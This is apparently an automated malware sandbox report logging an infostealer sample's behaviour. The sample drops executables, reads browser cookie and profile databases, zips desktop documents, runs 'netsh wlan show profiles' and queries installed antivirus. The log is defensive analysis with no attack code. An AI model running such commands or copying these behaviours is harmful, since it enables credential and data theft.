Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: unknown unknown
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe
Source: C:\Windows\System32\rundll32.exe	Process created: unknown unknown

Source: 831840b410.exe, 00000010.00000002.3114626852.0000000000D62000.00000002.00000001.01000000.00000011.sdmp, 831840b410.exe, 0000001F.00000000.2949970716.0000000000D62000.00000002.00000001.01000000.00000011.sdmp, 831840b410.exe, 0000002F.00000000.3200529574.0000000000D62000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe, SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe, 00000000.00000002.2140172034.0000000000DB2000.00000040.00000001.01000000.00000003.sdmp, explorha.exe, explorha.exe, 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: ;Program Manager
Source: amert.exe, amert.exe, 0000000E.00000002.2840617908.0000000000556000.00000040.00000001.01000000.0000000F.sdmp, chrosha.exe, 0000000F.00000002.2880866448.0000000000266000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: zProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe

Code function: 14_2_0037CD47 cpuid

14_2_0037CD47

Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\GRXZDKKVDB.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PALRGUCVEH.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\ZGGKNSUKOP.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\GRXZDKKVDB.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PALRGUCVEH.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\ZGGKNSUKOP.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Code function: 0_2_00B9E27A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00B9E27A

Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
